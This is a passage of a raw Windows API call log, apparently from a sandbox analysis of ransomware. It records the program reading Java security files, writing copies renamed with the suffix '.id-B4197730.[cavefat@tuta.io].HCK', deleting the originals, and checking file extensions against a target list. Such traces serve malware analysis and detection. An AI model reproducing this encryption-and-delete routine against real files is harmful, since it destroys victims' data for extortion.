files\\java\\jre1.8.0_144\\lib\\security\\java.security.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0229.088] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0229.089] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.089] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.089] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0229.089] GetLastError () returned 0x0 [0229.089] ReadFile (in: hFile=0x534, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x8eac, lpOverlapped=0x0) returned 1 [0229.092] WriteFile (in: hFile=0x544, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x8eb0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x8eb0, lpOverlapped=0x0) returned 1 [0229.093] ReadFile (in: hFile=0x534, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0229.093] WriteFile (in: hFile=0x544, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xee, lpOverlapped=0x0) returned 1 [0229.093] SetEndOfFile (hFile=0x544) returned 1 [0229.093] CloseHandle (hObject=0x544) returned 1 [0229.093] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.094] SetEndOfFile (hFile=0x534) returned 1 [0229.096] CloseHandle (hObject=0x534) returned 1 [0229.096] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0229.097] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security")) returned 1 [0229.097] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0229.097] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0229.097] lstrlenW (lpString=".doc") returned 4 [0229.097] lstrcmpiW (lpString1=".doc", lpString2="rity") returned -1 [0229.097] lstrlenW (lpString=".docx") returned 5 [0229.097] lstrcmpiW (lpString1=".docx", lpString2="urity") returned -1 [0229.097] lstrlenW (lpString=".pdf") returned 4 [0229.097] lstrcmpiW (lpString1=".pdf", lpString2="rity") returned -1 [0229.097] lstrlenW (lpString=".xls") returned 4 [0229.097] lstrcmpiW (lpString1=".xls", lpString2="rity") returned -1 [0229.097] lstrlenW (lpString=".xlsx") returned 5 [0229.097] lstrcmpiW (lpString1=".xlsx", lpString2="urity") returned -1 [0229.097] lstrlenW (lpString=".ppt") returned 4 [0229.097] lstrcmpiW (lpString1=".ppt", lpString2="rity") returned -1 [0229.097] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0229.098] lstrlenW (lpString=".zip") returned 4 [0229.098] lstrcmpiW (lpString1=".zip", lpString2="rity") returned -1 [0229.098] lstrlenW (lpString=".rar") returned 4 [0229.098] lstrcmpiW (lpString1=".rar", lpString2="rity") returned -1 [0229.098] lstrlenW (lpString=".bz2") returned 4 [0229.098] lstrcmpiW (lpString1=".bz2", lpString2="rity") returned -1 [0229.098] lstrlenW (lpString=".7z") returned 3 [0229.098] lstrcmpiW (lpString1=".7z", lpString2="ity") returned -1 [0229.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0229.098] lstrlenW (lpString=".dbf") returned 4 [0229.098] lstrcmpiW (lpString1=".dbf", lpString2="rity") returned -1 [0229.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0229.098] lstrlenW (lpString=".1cd") returned 4 [0229.098] lstrcmpiW (lpString1=".1cd", lpString2="rity") returned -1 [0229.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0229.098] lstrlenW (lpString=".jpg") returned 4 [0229.098] lstrcmpiW (lpString1=".jpg", lpString2="rity") returned -1 [0229.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0229.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0229.098] lstrlenW (lpString=".doc") returned 4 [0229.098] lstrcmpiW (lpString1=".doc", lpString2="rity") returned -1 [0229.098] lstrlenW (lpString=".docx") returned 5 [0229.098] lstrcmpiW (lpString1=".docx", lpString2="urity") returned -1 [0229.098] lstrlenW (lpString=".pdf") returned 4 [0229.098] lstrcmpiW (lpString1=".pdf", lpString2="rity") returned -1 [0229.098] lstrlenW (lpString=".xls") returned 4 [0229.098] lstrcmpiW (lpString1=".xls", lpString2="rity") returned -1 [0229.098] lstrlenW (lpString=".xlsx") returned 5 [0229.098] lstrcmpiW (lpString1=".xlsx", lpString2="urity") returned -1 [0229.098] lstrlenW (lpString=".ppt") returned 4 [0229.098] lstrcmpiW (lpString1=".ppt", lpString2="rity") returned -1 [0229.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0229.098] lstrlenW (lpString=".zip") returned 4 [0229.098] lstrcmpiW (lpString1=".zip", lpString2="rity") returned -1 [0229.098] lstrlenW (lpString=".rar") returned 4 [0229.098] lstrcmpiW (lpString1=".rar", lpString2="rity") returned -1 [0229.098] lstrlenW (lpString=".bz2") returned 4 [0229.098] lstrcmpiW (lpString1=".bz2", lpString2="rity") returned -1 [0229.098] lstrlenW (lpString=".7z") returned 3 [0229.098] lstrcmpiW (lpString1=".7z", lpString2="ity") returned -1 [0229.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0229.098] lstrlenW (lpString=".dbf") returned 4 [0229.098] lstrcmpiW (lpString1=".dbf", lpString2="rity") returned -1 [0229.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0229.098] lstrlenW (lpString=".1cd") returned 4 [0229.098] lstrcmpiW (lpString1=".1cd", lpString2="rity") returned -1 [0229.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0229.098] lstrlenW (lpString=".jpg") returned 4 [0229.098] lstrcmpiW (lpString1=".jpg", lpString2="rity") returned -1 [0229.099] lstrcmpiW (lpString1=".policy", lpString2=".HCK") returned 1 [0229.099] lstrlenW (lpString="javaws.policy") returned 13 [0229.099] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0229.099] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=98) returned 1 [0229.099] CloseHandle (hObject=0x534) returned 1 [0229.099] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy")) returned 0x20 [0229.099] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0229.100] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0229.100] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.100] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.100] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0229.100] GetLastError () returned 0x0 [0229.100] ReadFile (in: hFile=0x534, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x62, lpOverlapped=0x0) returned 1 [0229.101] WriteFile (in: hFile=0x544, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x70, lpOverlapped=0x0) returned 1 [0229.102] ReadFile (in: hFile=0x534, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0229.102] WriteFile (in: hFile=0x544, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xee, lpOverlapped=0x0) returned 1 [0229.102] SetEndOfFile (hFile=0x544) returned 1 [0229.102] CloseHandle (hObject=0x544) returned 1 [0229.103] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.103] SetEndOfFile (hFile=0x534) returned 1 [0229.105] CloseHandle (hObject=0x534) returned 1 [0229.105] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0229.105] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy")) returned 1 [0229.106] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0229.106] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0229.106] lstrlenW (lpString=".doc") returned 4 [0229.106] lstrcmpiW (lpString1=".doc", lpString2="licy") returned -1 [0229.106] lstrlenW (lpString=".docx") returned 5 [0229.106] lstrcmpiW (lpString1=".docx", lpString2="olicy") returned -1 [0229.106] lstrlenW (lpString=".pdf") returned 4 [0229.106] lstrcmpiW (lpString1=".pdf", lpString2="licy") returned -1 [0229.106] lstrlenW (lpString=".xls") returned 4 [0229.106] lstrcmpiW (lpString1=".xls", lpString2="licy") returned -1 [0229.106] lstrlenW (lpString=".xlsx") returned 5 [0229.106] lstrcmpiW (lpString1=".xlsx", lpString2="olicy") returned -1 [0229.106] lstrlenW (lpString=".ppt") returned 4 [0229.106] lstrcmpiW (lpString1=".ppt", lpString2="licy") returned -1 [0229.106] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0229.106] lstrlenW (lpString=".zip") returned 4 [0229.106] lstrcmpiW (lpString1=".zip", lpString2="licy") returned -1 [0229.106] lstrlenW (lpString=".rar") returned 4 [0229.106] lstrcmpiW (lpString1=".rar", lpString2="licy") returned -1 [0229.106] lstrlenW (lpString=".bz2") returned 4 [0229.106] lstrcmpiW (lpString1=".bz2", lpString2="licy") returned -1 [0229.106] lstrlenW (lpString=".7z") returned 3 [0229.106] lstrcmpiW (lpString1=".7z", lpString2="icy") returned -1 [0229.106] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0229.106] lstrlenW (lpString=".dbf") returned 4 [0229.106] lstrcmpiW (lpString1=".dbf", lpString2="licy") returned -1 [0229.106] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0229.106] lstrlenW (lpString=".1cd") returned 4 [0229.106] lstrcmpiW (lpString1=".1cd", lpString2="licy") returned -1 [0229.106] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0229.106] lstrlenW (lpString=".jpg") returned 4 [0229.106] lstrcmpiW (lpString1=".jpg", lpString2="licy") returned -1 [0229.106] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0229.106] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0229.106] lstrlenW (lpString=".doc") returned 4 [0229.106] lstrcmpiW (lpString1=".doc", lpString2="licy") returned -1 [0229.106] lstrlenW (lpString=".docx") returned 5 [0229.106] lstrcmpiW (lpString1=".docx", lpString2="olicy") returned -1 [0229.106] lstrlenW (lpString=".pdf") returned 4 [0229.106] lstrcmpiW (lpString1=".pdf", lpString2="licy") returned -1 [0229.106] lstrlenW (lpString=".xls") returned 4 [0229.106] lstrcmpiW (lpString1=".xls", lpString2="licy") returned -1 [0229.106] lstrlenW (lpString=".xlsx") returned 5 [0229.106] lstrcmpiW (lpString1=".xlsx", lpString2="olicy") returned -1 [0229.106] lstrlenW (lpString=".ppt") returned 4 [0229.106] lstrcmpiW (lpString1=".ppt", lpString2="licy") returned -1 [0229.106] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0229.106] lstrlenW (lpString=".zip") returned 4 [0229.106] lstrcmpiW (lpString1=".zip", lpString2="licy") returned -1 [0229.107] lstrlenW (lpString=".rar") returned 4 [0229.107] lstrcmpiW (lpString1=".rar", lpString2="licy") returned -1 [0229.107] lstrlenW (lpString=".bz2") returned 4 [0229.107] lstrcmpiW (lpString1=".bz2", lpString2="licy") returned -1 [0229.107] lstrlenW (lpString=".7z") returned 3 [0229.107] lstrcmpiW (lpString1=".7z", lpString2="icy") returned -1 [0229.107] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0229.107] lstrlenW (lpString=".dbf") returned 4 [0229.107] lstrcmpiW (lpString1=".dbf", lpString2="licy") returned -1 [0229.107] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0229.107] lstrlenW (lpString=".1cd") returned 4 [0229.107] lstrcmpiW (lpString1=".1cd", lpString2="licy") returned -1 [0229.107] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0229.107] lstrlenW (lpString=".jpg") returned 4 [0229.107] lstrcmpiW (lpString1=".jpg", lpString2="licy") returned -1 [0229.107] lstrcmpiW (lpString1=".jar", lpString2=".HCK") returned 1 [0229.107] lstrlenW (lpString="local_policy.jar") returned 16 [0229.107] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0229.107] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=3527) returned 1 [0229.107] CloseHandle (hObject=0x534) returned 1 [0229.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar")) returned 0x20 [0229.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0229.108] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0229.108] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.108] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.108] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0229.109] GetLastError () returned 0x0 [0229.109] ReadFile (in: hFile=0x534, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0xdc7, lpOverlapped=0x0) returned 1 [0229.110] WriteFile (in: hFile=0x544, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xdd0, lpOverlapped=0x0) returned 1 [0229.111] ReadFile (in: hFile=0x534, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0229.111] WriteFile (in: hFile=0x544, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xf4, lpOverlapped=0x0) returned 1 [0229.111] SetEndOfFile (hFile=0x544) returned 1 [0229.111] CloseHandle (hObject=0x544) returned 1 [0229.111] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.111] SetEndOfFile (hFile=0x534) returned 1 [0229.113] CloseHandle (hObject=0x534) returned 1 [0229.113] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0229.113] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar")) returned 1 [0229.114] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0229.114] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0229.114] lstrlenW (lpString=".doc") returned 4 [0229.114] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0229.114] lstrlenW (lpString=".docx") returned 5 [0229.114] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0229.114] lstrlenW (lpString=".pdf") returned 4 [0229.114] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0229.114] lstrlenW (lpString=".xls") returned 4 [0229.114] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0229.114] lstrlenW (lpString=".xlsx") returned 5 [0229.114] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0229.114] lstrlenW (lpString=".ppt") returned 4 [0229.114] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0229.114] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0229.114] lstrlenW (lpString=".zip") returned 4 [0229.114] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0229.114] lstrlenW (lpString=".rar") returned 4 [0229.114] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0229.114] lstrlenW (lpString=".bz2") returned 4 [0229.114] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0229.114] lstrlenW (lpString=".7z") returned 3 [0229.114] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0229.114] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0229.114] lstrlenW (lpString=".dbf") returned 4 [0229.114] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0229.114] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0229.114] lstrlenW (lpString=".1cd") returned 4 [0229.114] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0229.114] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0229.114] lstrlenW (lpString=".jpg") returned 4 [0229.114] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0229.114] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0229.114] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0229.114] lstrlenW (lpString=".doc") returned 4 [0229.114] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0229.114] lstrlenW (lpString=".docx") returned 5 [0229.114] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0229.114] lstrlenW (lpString=".pdf") returned 4 [0229.114] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0229.114] lstrlenW (lpString=".xls") returned 4 [0229.114] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0229.114] lstrlenW (lpString=".xlsx") returned 5 [0229.115] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0229.115] lstrlenW (lpString=".ppt") returned 4 [0229.115] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0229.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0229.115] lstrlenW (lpString=".zip") returned 4 [0229.115] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0229.115] lstrlenW (lpString=".rar") returned 4 [0229.115] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0229.115] lstrlenW (lpString=".bz2") returned 4 [0229.115] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0229.115] lstrlenW (lpString=".7z") returned 3 [0229.115] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0229.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0229.115] lstrlenW (lpString=".dbf") returned 4 [0229.115] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0229.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0229.115] lstrlenW (lpString=".1cd") returned 4 [0229.115] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0229.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0229.115] lstrlenW (lpString=".jpg") returned 4 [0229.115] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0229.115] lstrcmpiW (lpString1=".libraries", lpString2=".HCK") returned 1 [0229.115] lstrlenW (lpString="trusted.libraries") returned 17 [0229.115] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\trusted.libraries"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0229.116] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=0) returned 1 [0229.116] CloseHandle (hObject=0x534) returned 1 [0229.116] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0229.116] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0229.116] lstrlenW (lpString=".doc") returned 4 [0229.116] lstrcmpiW (lpString1=".doc", lpString2="ries") returned -1 [0229.116] lstrlenW (lpString=".docx") returned 5 [0229.116] lstrcmpiW (lpString1=".docx", lpString2="aries") returned -1 [0229.116] lstrlenW (lpString=".pdf") returned 4 [0229.116] lstrcmpiW (lpString1=".pdf", lpString2="ries") returned -1 [0229.116] lstrlenW (lpString=".xls") returned 4 [0229.116] lstrcmpiW (lpString1=".xls", lpString2="ries") returned -1 [0229.116] lstrlenW (lpString=".xlsx") returned 5 [0229.116] lstrcmpiW (lpString1=".xlsx", lpString2="aries") returned -1 [0229.116] lstrlenW (lpString=".ppt") returned 4 [0229.116] lstrcmpiW (lpString1=".ppt", lpString2="ries") returned -1 [0229.116] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0229.116] lstrlenW (lpString=".zip") returned 4 [0229.116] lstrcmpiW (lpString1=".zip", lpString2="ries") returned -1 [0229.116] lstrlenW (lpString=".rar") returned 4 [0229.116] lstrcmpiW (lpString1=".rar", lpString2="ries") returned -1 [0229.116] lstrlenW (lpString=".bz2") returned 4 [0229.116] lstrcmpiW (lpString1=".bz2", lpString2="ries") returned -1 [0229.116] lstrlenW (lpString=".7z") returned 3 [0229.116] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0229.116] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0229.117] lstrlenW (lpString=".dbf") returned 4 [0229.117] lstrcmpiW (lpString1=".dbf", lpString2="ries") returned -1 [0229.117] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0229.117] lstrlenW (lpString=".1cd") returned 4 [0229.117] lstrcmpiW (lpString1=".1cd", lpString2="ries") returned -1 [0229.117] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0229.117] lstrlenW (lpString=".jpg") returned 4 